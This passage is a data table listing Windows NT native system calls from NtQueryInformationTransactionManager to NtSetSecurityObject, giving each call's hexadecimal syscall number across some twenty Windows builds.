312,NtQueryInformationTransactionManager,0x0135,0x0138,0x013b,0x0141,0x0144,0x0146,0x0147,0x0148,0x0148,0x014e,0x014e,0x014e,0x014f,0x014f,0x0154,0x0155,0x0158,0x0158,0x0159,0x015a,0x015a
313,NtQueryInformationWorkerFactory,0x0136,0x0139,0x013c,0x0142,0x0145,0x0147,0x0148,0x0149,0x0149,0x014f,0x014f,0x014f,0x0150,0x0150,0x0155,0x0156,0x0159,0x0159,0x015a,0x015b,0x015b
314,NtQueryInstallUILanguage,0x0137,0x013a,0x013d,0x0143,0x0146,0x0148,0x0149,0x014a,0x014a,0x0150,0x0150,0x0150,0x0151,0x0151,0x0156,0x0157,0x015a,0x015a,0x015b,0x015c,0x015c
315,NtQueryIntervalProfile,0x0138,0x013b,0x013e,0x0144,0x0147,0x0149,0x014a,0x014b,0x014b,0x0151,0x0151,0x0151,0x0152,0x0152,0x0157,0x0158,0x015b,0x015b,0x015c,0x015d,0x015d
316,NtQueryIoCompletion,0x0139,0x013c,0x013f,0x0145,0x0148,0x014a,0x014b,0x014c,0x014c,0x0152,0x0152,0x0152,0x0153,0x0153,0x0158,0x0159,0x015c,0x015c,0x015d,0x015e,0x015e
317,NtQueryIoRingCapabilities,,,,,,,,,,,,,,,,0x015a,0x015d,0x015d,0x015e,0x015f,0x015f
318,NtQueryKey,0x0016,0x0016,0x0016,0x0016,0x0016,0x0016,0x0016,0x0016,0x0016,0x0016,0x0016,0x0016,0x0016,0x0016,0x0016,0x0016,0x0016,0x0016,0x0016,0x0016,0x0016
319,NtQueryLicenseValue,0x013a,0x013d,0x0140,0x0146,0x0149,0x014b,0x014c,0x014d,0x014d,0x0153,0x0153,0x0153,0x0154,0x0154,0x0159,0x015b,0x015e,0x015e,0x015f,0x0160,0x0160
320,NtQueryMultipleValueKey,0x013b,0x013e,0x0141,0x0147,0x014a,0x014c,0x014d,0x014e,0x014e,0x0154,0x0154,0x0154,0x0155,0x0155,0x015a,0x015c,0x015f,0x015f,0x0160,0x0161,0x0161
321,NtQueryMutant,0x013c,0x013f,0x0142,0x0148,0x014b,0x014d,0x014e,0x014f,0x014f,0x0155,0x0155,0x0155,0x0156,0x0156,0x015b,0x015d,0x0160,0x0160,0x0161,0x0162,0x0162
322,NtQueryObject,0x0010,0x0010,0x0010,0x0010,0x0010,0x0010,0x0010,0x0010,0x0010,0x0010,0x0010,0x0010,0x0010,0x0010,0x0010,0x0010,0x0010,0x0010,0x0010,0x0010,0x0010
323,NtQueryOpenSubKeys,0x013d,0x0140,0x0143,0x0149,0x014c,0x014e,0x014f,0x0150,0x0150,0x0156,0x0156,0x0156,0x0157,0x0157,0x015c,0x015e,0x0161,0x0161,0x0162,0x0163,0x0163
324,NtQueryOpenSubKeysEx,0x013e,0x0141,0x0144,0x014a,0x014d,0x014f,0x0150,0x0151,0x0151,0x0157,0x0157,0x0157,0x0158,0x0158,0x015d,0x015f,0x0162,0x0162,0x0163,0x0164,0x0164
325,NtQueryPerformanceCounter,0x0031,0x0031,0x0031,0x0031,0x0031,0x0031,0x0031,0x0031,0x0031,0x0031,0x0031,0x0031,0x0031,0x0031,0x0031,0x0031,0x0031,0x0031,0x0031,0x0031,0x0031
326,NtQueryPortInformationProcess,0x013f,0x0142,0x0145,0x014b,0x014e,0x0150,0x0151,0x0152,0x0152,0x0158,0x0158,0x0158,0x0159,0x0159,0x015e,0x0160,0x0163,0x0163,0x0164,0x0165,0x0165
327,NtQueryQuotaInformationFile,0x0140,0x0143,0x0146,0x014c,0x014f,0x0151,0x0152,0x0153,0x0153,0x0159,0x0159,0x0159,0x015a,0x015a,0x015f,0x0161,0x0164,0x0164,0x0165,0x0166,0x0166
328,NtQuerySection,0x0051,0x0051,0x0051,0x0051,0x0051,0x0051,0x0051,0x0051,0x0051,0x0051,0x0051,0x0051,0x0051,0x0051,0x0051,0x0051,0x0051,0x0051,0x0051,0x0051,0x0051
329,NtQuerySecurityAttributesToken,0x0141,0x0144,0x0147,0x014d,0x0150,0x0152,0x0153,0x0154,0x0154,0x015a,0x015a,0x015a,0x015b,0x015b,0x0160,0x0162,0x0165,0x0165,0x0166,0x0167,0x0167
330,NtQuerySecurityObject,0x0142,0x0145,0x0148,0x014e,0x0151,0x0153,0x0154,0x0155,0x0155,0x015b,0x015b,0x015b,0x015c,0x015c,0x0161,0x0163,0x0166,0x0166,0x0167,0x0168,0x0168
331,NtQuerySecurityPolicy,,,0x0149,0x014f,0x0152,0x0154,0x0155,0x0156,0x0156,0x015c,0x015c,0x015c,0x015d,0x015d,0x0162,0x0164,0x0167,0x0167,0x0168,0x0169,0x0169
332,NtQuerySemaphore,0x0143,0x0146,0x014a,0x0150,0x0153,0x0155,0x0156,0x0157,0x0157,0x015d,0x015d,0x015d,0x015e,0x015e,0x0163,0x0165,0x0168,0x0168,0x0169,0x016a,0x016a
333,NtQuerySymbolicLinkObject,0x0144,0x0147,0x014b,0x0151,0x0154,0x0156,0x0157,0x0158,0x0158,0x015e,0x015e,0x015e,0x015f,0x015f,0x0164,0x0166,0x0169,0x0169,0x016a,0x016b,0x016b
334,NtQuerySystemEnvironmentValue,0x0145,0x0148,0x014c,0x0152,0x0155,0x0157,0x0158,0x0159,0x0159,0x015f,0x015f,0x015f,0x0160,0x0160,0x0165,0x0167,0x016a,0x016a,0x016b,0x016c,0x016c
335,NtQuerySystemEnvironmentValueEx,0x0146,0x0149,0x014d,0x0153,0x0156,0x0158,0x0159,0x015a,0x015a,0x0160,0x0160,0x0160,0x0161,0x0161,0x0166,0x0168,0x016b,0x016b,0x016c,0x016d,0x016d
336,NtQuerySystemInformation,0x0036,0x0036,0x0036,0x0036,0x0036,0x0036,0x0036,0x0036,0x0036,0x0036,0x0036,0x0036,0x0036,0x0036,0x0036,0x0036,0x0036,0x0036,0x0036,0x0036,0x0036
337,NtQuerySystemInformationEx,0x0147,0x014a,0x014e,0x0154,0x0157,0x0159,0x015a,0x015b,0x015b,0x0161,0x0161,0x0161,0x0162,0x0162,0x0167,0x0169,0x016c,0x016c,0x016d,0x016e,0x016e
338,NtQuerySystemTime,0x005a,0x005a,0x005a,0x005a,0x005a,0x005a,0x005a,0x005a,0x005a,0x005a,0x005a,0x005a,0x005a,0x005a,0x005a,0x005a,0x005a,0x005a,0x005a,0x005a,0x005a
339,NtQueryTimer,0x0038,0x0038,0x0038,0x0038,0x0038,0x0038,0x0038,0x0038,0x0038,0x0038,0x0038,0x0038,0x0038,0x0038,0x0038,0x0038,0x0038,0x0038,0x0038,0x0038,0x0038
340,NtQueryTimerResolution,0x0148,0x014b,0x014f,0x0155,0x0158,0x015a,0x015b,0x015c,0x015c,0x0162,0x0162,0x0162,0x0163,0x0163,0x0168,0x016a,0x016d,0x016d,0x016e,0x016f,0x016f
341,NtQueryValueKey,0x0017,0x0017,0x0017,0x0017,0x0017,0x0017,0x0017,0x0017,0x0017,0x0017,0x0017,0x0017,0x0017,0x0017,0x0017,0x0017,0x0017,0x0017,0x0017,0x0017,0x0017
342,NtQueryVirtualMemory,0x0023,0x0023,0x0023,0x0023,0x0023,0x0023,0x0023,0x0023,0x0023,0x0023,0x0023,0x0023,0x0023,0x0023,0x0023,0x0023,0x0023,0x0023,0x0023,0x0023,0x0023
343,NtQueryVolumeInformationFile,0x0049,0x0049,0x0049,0x0049,0x0049,0x0049,0x0049,0x0049,0x0049,0x0049,0x0049,0x0049,0x0049,0x0049,0x0049,0x0049,0x0049,0x0049,0x0049,0x0049,0x0049
344,NtQueryWnfStateData,0x0149,0x014c,0x0150,0x0156,0x0159,0x015b,0x015c,0x015d,0x015d,0x0163,0x0163,0x0163,0x0164,0x0164,0x0169,0x016b,0x016e,0x016e,0x016f,0x0170,0x0170
345,NtQueryWnfStateNameInformation,0x014a,0x014d,0x0151,0x0157,0x015a,0x015c,0x015d,0x015e,0x015e,0x0164,0x0164,0x0164,0x0165,0x0165,0x016a,0x016c,0x016f,0x016f,0x0170,0x0171,0x0171
346,NtQueueApcThread,0x0045,0x0045,0x0045,0x0045,0x0045,0x0045,0x0045,0x0045,0x0045,0x0045,0x0045,0x0045,0x0045,0x0045,0x0045,0x0045,0x0045,0x0045,0x0045,0x0045,0x0045
347,NtQueueApcThreadEx,0x014b,0x014e,0x0152,0x0158,0x015b,0x015d,0x015e,0x015f,0x015f,0x0165,0x0165,0x0165,0x0166,0x0166,0x016b,0x016d,0x0170,0x0170,0x0171,0x0172,0x0172
348,NtQueueApcThreadEx2,,,,,,,,,,,,,0x0167,0x0167,0x016c,0x016e,0x0171,0x0171,0x0172,0x0173,0x0173
349,NtRaiseException,0x014c,0x014f,0x0153,0x0159,0x015c,0x015e,0x015f,0x0160,0x0160,0x0166,0x0166,0x0166,0x0168,0x0168,0x016d,0x016f,0x0172,0x0172,0x0173,0x0174,0x0174
350,NtRaiseHardError,0x014d,0x0150,0x0154,0x015a,0x015d,0x015f,0x0160,0x0161,0x0161,0x0167,0x0167,0x0167,0x0169,0x0169,0x016e,0x0170,0x0173,0x0173,0x0174,0x0175,0x0175
351,NtReadFile,0x0006,0x0006,0x0006,0x0006,0x0006,0x0006,0x0006,0x0006,0x0006,0x0006,0x0006,0x0006,0x0006,0x0006,0x0006,0x0006,0x0006,0x0006,0x0006,0x0006,0x0006
352,NtReadFileScatter,0x002e,0x002e,0x002e,0x002e,0x002e,0x002e,0x002e,0x002e,0x002e,0x002e,0x002e,0x002e,0x002e,0x002e,0x002e,0x002e,0x002e,0x002e,0x002e,0x002e,0x002e
353,NtReadOnlyEnlistment,0x014e,0x0151,0x0155,0x015b,0x015e,0x0160,0x0161,0x0162,0x0162,0x0168,0x0168,0x0168,0x016a,0x016a,0x016f,0x0171,0x0174,0x0174,0x0175,0x0176,0x0176
354,NtReadRequestData,0x0054,0x0054,0x0054,0x0054,0x0054,0x0054,0x0054,0x0054,0x0054,0x0054,0x0054,0x0054,0x0054,0x0054,0x0054,0x0054,0x0054,0x0054,0x0054,0x0054,0x0054
355,NtReadVirtualMemory,0x003f,0x003f,0x003f,0x003f,0x003f,0x003f,0x003f,0x003f,0x003f,0x003f,0x003f,0x003f,0x003f,0x003f,0x003f,0x003f,0x003f,0x003f,0x003f,0x003f,0x003f
356,NtReadVirtualMemoryEx,,,,,,,,,,,,,,,0x0170,0x0172,0x0175,0x0175,0x0176,0x0177,0x0177
357,NtRecoverEnlistment,0x014f,0x0152,0x0156,0x015c,0x015f,0x0161,0x0162,0x0163,0x0163,0x0169,0x0169,0x0169,0x016b,0x016b,0x0171,0x0173,0x0176,0x0176,0x0177,0x0178,0x0178
358,NtRecoverResourceManager,0x0150,0x0153,0x0157,0x015d,0x0160,0x0162,0x0163,0x0164,0x0164,0x016a,0x016a,0x016a,0x016c,0x016c,0x0172,0x0174,0x0177,0x0177,0x0178,0x0179,0x0179
359,NtRecoverTransactionManager,0x0151,0x0154,0x0158,0x015e,0x0161,0x0163,0x0164,0x0165,0x0165,0x016b,0x016b,0x016b,0x016d,0x016d,0x0173,0x0175,0x0178,0x0178,0x0179,0x017a,0x017a
360,NtRegisterProtocolAddressInformation,0x0152,0x0155,0x0159,0x015f,0x0162,0x0164,0x0165,0x0166,0x0166,0x016c,0x016c,0x016c,0x016e,0x016e,0x0174,0x0176,0x0179,0x0179,0x017a,0x017b,0x017b
361,NtRegisterThreadTerminatePort,0x0153,0x0156,0x015a,0x0160,0x0163,0x0165,0x0166,0x0167,0x0167,0x016d,0x016d,0x016d,0x016f,0x016f,0x0175,0x0177,0x017a,0x017a,0x017b,0x017c,0x017c
362,NtReleaseCMFViewOwnership,,,,,,,,,,,,,,,,,,,,,
363,NtReleaseKeyedEvent,0x0154,0x0157,0x015b,0x0161,0x0164,0x0166,0x0167,0x0168,0x0168,0x016e,0x016e,0x016e,0x0170,0x0170,0x0176,0x0178,0x017b,0x017b,0x017c,0x017d,0x017d
364,NtReleaseMutant,0x0020,0x0020,0x0020,0x0020,0x0020,0x0020,0x0020,0x0020,0x0020,0x0020,0x0020,0x0020,0x0020,0x0020,0x0020,0x0020,0x0020,0x0020,0x0020,0x0020,0x0020
365,NtReleaseSemaphore,0x000a,0x000a,0x000a,0x000a,0x000a,0x000a,0x000a,0x000a,0x000a,0x000a,0x000a,0x000a,0x000a,0x000a,0x000a,0x000a,0x000a,0x000a,0x000a,0x000a,0x000a
366,NtReleaseWorkerFactoryWorker,0x0155,0x0158,0x015c,0x0162,0x0165,0x0167,0x0168,0x0169,0x0169,0x016f,0x016f,0x016f,0x0171,0x0171,0x0177,0x0179,0x017c,0x017c,0x017d,0x017e,0x017e
367,NtRemoveIoCompletion,0x0009,0x0009,0x0009,0x0009,0x0009,0x0009,0x0009,0x0009,0x0009,0x0009,0x0009,0x0009,0x0009,0x0009,0x0009,0x0009,0x0009,0x0009,0x0009,0x0009,0x0009
368,NtRemoveIoCompletionEx,0x0156,0x0159,0x015d,0x0163,0x0166,0x0168,0x0169,0x016a,0x016a,0x0170,0x0170,0x0170,0x0172,0x0172,0x0178,0x017a,0x017d,0x017d,0x017e,0x017f,0x017f
369,NtRemoveProcessDebug,0x0157,0x015a,0x015e,0x0164,0x0167,0x0169,0x016a,0x016b,0x016b,0x0171,0x0171,0x0171,0x0173,0x0173,0x0179,0x017b,0x017e,0x017e,0x017f,0x0180,0x0180
370,NtRenameKey,0x0158,0x015b,0x015f,0x0165,0x0168,0x016a,0x016b,0x016c,0x016c,0x0172,0x0172,0x0172,0x0174,0x0174,0x017a,0x017c,0x017f,0x017f,0x0180,0x0181,0x0181
371,NtRenameTransactionManager,0x0159,0x015c,0x0160,0x0166,0x0169,0x016b,0x016c,0x016d,0x016d,0x0173,0x0173,0x0173,0x0175,0x0175,0x017b,0x017d,0x0180,0x0180,0x0181,0x0182,0x0182
372,NtReplaceKey,0x015a,0x015d,0x0161,0x0167,0x016a,0x016c,0x016d,0x016e,0x016e,0x0174,0x0174,0x0174,0x0176,0x0176,0x017c,0x017e,0x0181,0x0181,0x0182,0x0183,0x0183
373,NtReplacePartitionUnit,0x015b,0x015e,0x0162,0x0168,0x016b,0x016d,0x016e,0x016f,0x016f,0x0175,0x0175,0x0175,0x0177,0x0177,0x017d,0x017f,0x0182,0x0182,0x0183,0x0184,0x0184
374,NtReplyPort,0x000c,0x000c,0x000c,0x000c,0x000c,0x000c,0x000c,0x000c,0x000c,0x000c,0x000c,0x000c,0x000c,0x000c,0x000c,0x000c,0x000c,0x000c,0x000c,0x000c,0x000c
375,NtReplyWaitReceivePort,0x000b,0x000b,0x000b,0x000b,0x000b,0x000b,0x000b,0x000b,0x000b,0x000b,0x000b,0x000b,0x000b,0x000b,0x000b,0x000b,0x000b,0x000b,0x000b,0x000b,0x000b
376,NtReplyWaitReceivePortEx,0x002b,0x002b,0x002b,0x002b,0x002b,0x002b,0x002b,0x002b,0x002b,0x002b,0x002b,0x002b,0x002b,0x002b,0x002b,0x002b,0x002b,0x002b,0x002b,0x002b,0x002b
377,NtReplyWaitReplyPort,0x015c,0x015f,0x0163,0x0169,0x016c,0x016e,0x016f,0x0170,0x0170,0x0176,0x0176,0x0176,0x0178,0x0178,0x017e,0x0180,0x0183,0x0183,0x0184,0x0185,0x0185
378,NtRequestDeviceWakeup,,,,,,,,,,,,,,,,,,,,,
379,NtRequestPort,0x015d,0x0160,0x0164,0x016a,0x016d,0x016f,0x0170,0x0171,0x0171,0x0177,0x0177,0x0177,0x0179,0x0179,0x017f,0x0181,0x0184,0x0184,0x0185,0x0186,0x0186
380,NtRequestWaitReplyPort,0x0022,0x0022,0x0022,0x0022,0x0022,0x0022,0x0022,0x0022,0x0022,0x0022,0x0022,0x0022,0x0022,0x0022,0x0022,0x0022,0x0022,0x0022,0x0022,0x0022,0x0022
381,NtRequestWakeupLatency,,,,,,,,,,,,,,,,,,,,,
382,NtResetEvent,0x015e,0x0161,0x0165,0x016b,0x016e,0x0170,0x0171,0x0172,0x0172,0x0178,0x0178,0x0178,0x017a,0x017a,0x0180,0x0182,0x0185,0x0185,0x0186,0x0187,0x0187
383,NtResetWriteWatch,0x015f,0x0162,0x0166,0x016c,0x016f,0x0171,0x0172,0x0173,0x0173,0x0179,0x0179,0x0179,0x017b,0x017b,0x0181,0x0183,0x0186,0x0186,0x0187,0x0188,0x0188
384,NtRestoreKey,0x0160,0x0163,0x0167,0x016d,0x0170,0x0172,0x0173,0x0174,0x0174,0x017a,0x017a,0x017a,0x017c,0x017c,0x0182,0x0184,0x0187,0x0187,0x0188,0x0189,0x0189
385,NtResumeProcess,0x0161,0x0164,0x0168,0x016e,0x0171,0x0173,0x0174,0x0175,0x0175,0x017b,0x017b,0x017b,0x017d,0x017d,0x0183,0x0185,0x0188,0x0188,0x0189,0x018a,0x018a
386,NtResumeThread,0x0052,0x0052,0x0052,0x0052,0x0052,0x0052,0x0052,0x0052,0x0052,0x0052,0x0052,0x0052,0x0052,0x0052,0x0052,0x0052,0x0052,0x0052,0x0052,0x0052,0x0052
387,NtRevertContainerImpersonation,0x0162,0x0165,0x0169,0x016f,0x0172,0x0174,0x0175,0x0176,0x0176,0x017c,0x017c,0x017c,0x017e,0x017e,0x0184,0x0186,0x0189,0x0189,0x018a,0x018b,0x018b
388,NtRollbackComplete,0x0163,0x0166,0x016a,0x0170,0x0173,0x0175,0x0176,0x0177,0x0177,0x017d,0x017d,0x017d,0x017f,0x017f,0x0185,0x0187,0x018a,0x018a,0x018b,0x018c,0x018c
389,NtRollbackEnlistment,0x0164,0x0167,0x016b,0x0171,0x0174,0x0176,0x0177,0x0178,0x0178,0x017e,0x017e,0x017e,0x0180,0x0180,0x0186,0x0188,0x018b,0x018b,0x018c,0x018d,0x018d
390,NtRollbackRegistryTransaction,,,0x016c,0x0172,0x0175,0x0177,0x0178,0x0179,0x0179,0x017f,0x017f,0x017f,0x0181,0x0181,0x0187,0x0189,0x018c,0x018c,0x018d,0x018e,0x018e
391,NtRollbackSavepointTransaction,,,,,,,,,,,,,,,,,,,,,
392,NtRollbackTransaction,0x0165,0x0168,0x016d,0x0173,0x0176,0x0178,0x0179,0x017a,0x017a,0x0180,0x0180,0x0180,0x0182,0x0182,0x0188,0x018a,0x018d,0x018d,0x018e,0x018f,0x018f
393,NtRollforwardTransactionManager,0x0166,0x0169,0x016e,0x0174,0x0177,0x0179,0x017a,0x017b,0x017b,0x0181,0x0181,0x0181,0x0183,0x0183,0x0189,0x018b,0x018e,0x018e,0x018f,0x0190,0x0190
394,NtSaveKey,0x0167,0x016a,0x016f,0x0175,0x0178,0x017a,0x017b,0x017c,0x017c,0x0182,0x0182,0x0182,0x0184,0x0184,0x018a,0x018c,0x018f,0x018f,0x0190,0x0191,0x0191
395,NtSaveKeyEx,0x0168,0x016b,0x0170,0x0176,0x0179,0x017b,0x017c,0x017d,0x017d,0x0183,0x0183,0x0183,0x0185,0x0185,0x018b,0x018d,0x0190,0x0190,0x0191,0x0192,0x0192
396,NtSaveMergedKeys,0x0169,0x016c,0x0171,0x0177,0x017a,0x017c,0x017d,0x017e,0x017e,0x0184,0x0184,0x0184,0x0186,0x0186,0x018c,0x018e,0x0191,0x0191,0x0192,0x0193,0x0193
397,NtSavepointComplete,,,,,,,,,,,,,,,,,,,,,
398,NtSavepointTransaction,,,,,,,,,,,,,,,,,,,,,
399,NtSecureConnectPort,0x016a,0x016d,0x0172,0x0178,0x017b,0x017d,0x017e,0x017f,0x017f,0x0185,0x0185,0x0185,0x0187,0x0187,0x018d,0x018f,0x0192,0x0192,0x0193,0x0194,0x0194
400,NtSerializeBoot,0x016b,0x016e,0x0173,0x0179,0x017c,0x017e,0x017f,0x0180,0x0180,0x0186,0x0186,0x0186,0x0188,0x0188,0x018e,0x0190,0x0193,0x0193,0x0194,0x0195,0x0195
401,NtSetBootEntryOrder,0x016c,0x016f,0x0174,0x017a,0x017d,0x017f,0x0180,0x0181,0x0181,0x0187,0x0187,0x0187,0x0189,0x0189,0x018f,0x0191,0x0194,0x0194,0x0195,0x0196,0x0196
402,NtSetBootOptions,0x016d,0x0170,0x0175,0x017b,0x017e,0x0180,0x0181,0x0182,0x0182,0x0188,0x0188,0x0188,0x018a,0x018a,0x0190,0x0192,0x0195,0x0195,0x0196,0x0197,0x0197
403,NtSetCachedSigningLevel,0x016e,0x0171,0x0176,0x017c,0x017f,0x0181,0x0182,0x0183,0x0183,0x0189,0x0189,0x0189,0x018b,0x018b,0x0191,0x0193,0x0196,0x0196,0x0197,0x0198,0x0198
404,NtSetCachedSigningLevel2,,,0x0177,0x017d,0x0180,0x0182,0x0183,0x0184,0x0184,0x018a,0x018a,0x018a,0x018c,0x018c,0x0192,0x0194,0x0197,0x0197,0x0198,0x0199,0x0199
405,NtSetContextThread,0x016f,0x0172,0x0178,0x017e,0x0181,0x0183,0x0184,0x0185,0x0185,0x018b,0x018b,0x018b,0x018d,0x018d,0x0193,0x0195,0x0198,0x0198,0x0199,0x019a,0x019a
406,NtSetDebugFilterState,0x0170,0x0173,0x0179,0x017f,0x0182,0x0184,0x0185,0x0186,0x0186,0x018c,0x018c,0x018c,0x018e,0x018e,0x0194,0x0196,0x0199,0x0199,0x019a,0x019b,0x019b
407,NtSetDefaultHardErrorPort,0x0171,0x0174,0x017a,0x0180,0x0183,0x0185,0x0186,0x0187,0x0187,0x018d,0x018d,0x018d,0x018f,0x018f,0x0195,0x0197,0x019a,0x019a,0x019b,0x019c,0x019c
408,NtSetDefaultLocale,0x0172,0x0175,0x017b,0x0181,0x0184,0x0186,0x0187,0x0188,0x0188,0x018e,0x018e,0x018e,0x0190,0x0190,0x0196,0x0198,0x019b,0x019b,0x019c,0x019d,0x019d
409,NtSetDefaultUILanguage,0x0173,0x0176,0x017c,0x0182,0x0185,0x0187,0x0188,0x0189,0x0189,0x018f,0x018f,0x018f,0x0191,0x0191,0x0197,0x0199,0x019c,0x019c,0x019d,0x019e,0x019e
410,NtSetDriverEntryOrder,0x0174,0x0177,0x017d,0x0183,0x0186,0x0188,0x0189,0x018a,0x018a,0x0190,0x0190,0x0190,0x0192,0x0192,0x0198,0x019a,0x019d,0x019d,0x019e,0x019f,0x019f
411,NtSetEaFile,0x0175,0x0178,0x017e,0x0184,0x0187,0x0189,0x018a,0x018b,0x018b,0x0191,0x0191,0x0191,0x0193,0x0193,0x0199,0x019b,0x019e,0x019e,0x019f,0x01a0,0x01a0
412,NtSetEvent,0x000e,0x000e,0x000e,0x000e,0x000e,0x000e,0x000e,0x000e,0x000e,0x000e,0x000e,0x000e,0x000e,0x000e,0x000e,0x000e,0x000e,0x000e,0x000e,0x000e,0x000e
413,NtSetEventBoostPriority,0x002d,0x002d,0x002d,0x002d,0x002d,0x002d,0x002d,0x002d,0x002d,0x002d,0x002d,0x002d,0x002d,0x002d,0x002d,0x002d,0x002d,0x002d,0x002d,0x002d,0x002d
414,NtSetEventEx,,,,,,,,,,,,,,,,,,,0x01a0,0x01a1,0x01a1
415,NtSetHighEventPair,0x0176,0x0179,0x017f,0x0185,0x0188,0x018a,0x018b,0x018c,0x018c,0x0192,0x0192,0x0192,0x0194,0x0194,0x019a,0x019c,0x019f,0x019f,0x01a1,0x01a2,0x01a2
416,NtSetHighWaitLowEventPair,0x0177,0x017a,0x0180,0x0186,0x0189,0x018b,0x018c,0x018d,0x018d,0x0193,0x0193,0x0193,0x0195,0x0195,0x019b,0x019d,0x01a0,0x01a0,0x01a2,0x01a3,0x01a3
417,NtSetIRTimer,0x0178,0x017b,0x0181,0x0187,0x018a,0x018c,0x018d,0x018e,0x018e,0x0194,0x0194,0x0194,0x0196,0x0196,0x019c,0x019e,0x01a1,0x01a1,0x01a3,0x01a4,0x01a4
418,NtSetInformationCpuPartition,,,,,,,,,,,,,,,,,0x01a2,0x01a2,0x01a4,0x01a5,0x01a5
419,NtSetInformationDebugObject,0x0179,0x017c,0x0182,0x0188,0x018b,0x018d,0x018e,0x018f,0x018f,0x0195,0x0195,0x0195,0x0197,0x0197,0x019d,0x019f,0x01a3,0x01a3,0x01a5,0x01a6,0x01a6
420,NtSetInformationEnlistment,0x017a,0x017d,0x0183,0x0189,0x018c,0x018e,0x018f,0x0190,0x0190,0x0196,0x0196,0x0196,0x0198,0x0198,0x019e,0x01a0,0x01a4,0x01a4,0x01a6,0x01a7,0x01a7
421,NtSetInformationFile,0x0027,0x0027,0x0027,0x0027,0x0027,0x0027,0x0027,0x0027,0x0027,0x0027,0x0027,0x0027,0x0027,0x0027,0x0027,0x0027,0x0027,0x0027,0x0027,0x0027,0x0027
422,NtSetInformationIoRing,,,,,,,,,,,,,,,,0x01a1,0x01a5,0x01a5,0x01a7,0x01a8,0x01a8
423,NtSetInformationJobObject,0x017b,0x017e,0x0184,0x018a,0x018d,0x018f,0x0190,0x0191,0x0191,0x0197,0x0197,0x0197,0x0199,0x0199,0x019f,0x01a2,0x01a6,0x01a6,0x01a8,0x01a9,0x01a9
424,NtSetInformationKey,0x017c,0x017f,0x0185,0x018b,0x018e,0x0190,0x0191,0x0192,0x0192,0x0198,0x0198,0x0198,0x019a,0x019a,0x01a0,0x01a3,0x01a7,0x01a7,0x01a9,0x01aa,0x01aa
425,NtSetInformationObject,0x005c,0x005c,0x005c,0x005c,0x005c,0x005c,0x005c,0x005c,0x005c,0x005c,0x005c,0x005c,0x005c,0x005c,0x005c,0x005c,0x005c,0x005c,0x005c,0x005c,0x005c
426,NtSetInformationProcess,0x001c,0x001c,0x001c,0x001c,0x001c,0x001c,0x001c,0x001c,0x001c,0x001c,0x001c,0x001c,0x001c,0x001c,0x001c,0x001c,0x001c,0x001c,0x001c,0x001c,0x001c
427,NtSetInformationResourceManager,0x017d,0x0180,0x0186,0x018c,0x018f,0x0191,0x0192,0x0193,0x0193,0x0199,0x0199,0x0199,0x019b,0x019b,0x01a1,0x01a4,0x01a8,0x01a8,0x01aa,0x01ab,0x01ab
428,NtSetInformationSymbolicLink,0x017e,0x0181,0x0187,0x018d,0x0190,0x0192,0x0193,0x0194,0x0194,0x019a,0x019a,0x019a,0x019c,0x019c,0x01a2,0x01a5,0x01a9,0x01a9,0x01ab,0x01ac,0x01ac
429,NtSetInformationThread,0x000d,0x000d,0x000d,0x000d,0x000d,0x000d,0x000d,0x000d,0x000d,0x000d,0x000d,0x000d,0x000d,0x000d,0x000d,0x000d,0x000d,0x000d,0x000d,0x000d,0x000d
430,NtSetInformationToken,0x017f,0x0182,0x0188,0x018e,0x0191,0x0193,0x0194,0x0195,0x0195,0x019b,0x019b,0x019b,0x019d,0x019d,0x01a3,0x01a6,0x01aa,0x01aa,0x01ac,0x01ad,0x01ad
431,NtSetInformationTransaction,0x0180,0x0183,0x0189,0x018f,0x0192,0x0194,0x0195,0x0196,0x0196,0x019c,0x019c,0x019c,0x019e,0x019e,0x01a4,0x01a7,0x01ab,0x01ab,0x01ad,0x01ae,0x01ae
432,NtSetInformationTransactionManager,0x0181,0x0184,0x018a,0x0190,0x0193,0x0195,0x0196,0x0197,0x0197,0x019d,0x019d,0x019d,0x019f,0x019f,0x01a5,0x01a8,0x01ac,0x01ac,0x01ae,0x01af,0x01af
433,NtSetInformationVirtualMemory,0x0182,0x0185,0x018b,0x0191,0x0194,0x0196,0x0197,0x0198,0x0198,0x019e,0x019e,0x019e,0x01a0,0x01a0,0x01a6,0x01a9,0x01ad,0x01ad,0x01af,0x01b0,0x01b0
434,NtSetInformationWorkerFactory,0x0183,0x0186,0x018c,0x0192,0x0195,0x0197,0x0198,0x0199,0x0199,0x019f,0x019f,0x019f,0x01a1,0x01a1,0x01a7,0x01aa,0x01ae,0x01ae,0x01b0,0x01b1,0x01b1
435,NtSetIntervalProfile,0x0184,0x0187,0x018d,0x0193,0x0196,0x0198,0x0199,0x019a,0x019a,0x01a0,0x01a0,0x01a0,0x01a2,0x01a2,0x01a8,0x01ab,0x01af,0x01af,0x01b1,0x01b2,0x01b2
436,NtSetIoCompletion,0x0185,0x0188,0x018e,0x0194,0x0197,0x0199,0x019a,0x019b,0x019b,0x01a1,0x01a1,0x01a1,0x01a3,0x01a3,0x01a9,0x01ac,0x01b0,0x01b0,0x01b2,0x01b3,0x01b3
437,NtSetIoCompletionEx,0x0186,0x0189,0x018f,0x0195,0x0198,0x019a,0x019b,0x019c,0x019c,0x01a2,0x01a2,0x01a2,0x01a4,0x01a4,0x01aa,0x01ad,0x01b1,0x01b1,0x01b3,0x01b4,0x01b4
438,NtSetLdtEntries,0x0187,0x018a,0x0190,0x0196,0x0199,0x019b,0x019c,0x019d,0x019d,0x01a3,0x01a3,0x01a3,0x01a5,0x01a5,0x01ab,0x01ae,0x01b2,0x01b2,0x01b4,0x01b5,0x01b5
439,NtSetLowEventPair,0x0188,0x018b,0x0191,0x0197,0x019a,0x019c,0x019d,0x019e,0x019e,0x01a4,0x01a4,0x01a4,0x01a6,0x01a6,0x01ac,0x01af,0x01b3,0x01b3,0x01b5,0x01b6,0x01b6
440,NtSetLowWaitHighEventPair,0x0189,0x018c,0x0192,0x0198,0x019b,0x019d,0x019e,0x019f,0x019f,0x01a5,0x01a5,0x01a5,0x01a7,0x01a7,0x01ad,0x01b0,0x01b4,0x01b4,0x01b6,0x01b7,0x01b7
441,NtSetQuotaInformationFile,0x018a,0x018d,0x0193,0x0199,0x019c,0x019e,0x019f,0x01a0,0x01a0,0x01a6,0x01a6,0x01a6,0x01a8,0x01a8,0x01ae,0x01b1,0x01b5,0x01b5,0x01b7,0x01b8,0x01b8
442,NtSetSecurityObject,0x018b,0x018e,0x0194,0x019a,0x019d,0x019f,0x01a0,0x01a1,0x01a1,0x01a7,0x01a7,0x01a7,0x01a9,0x01a9,0x01af,0x01b2,0x01b6,0x01b6,0x01b8,0x01b9,0x01b9
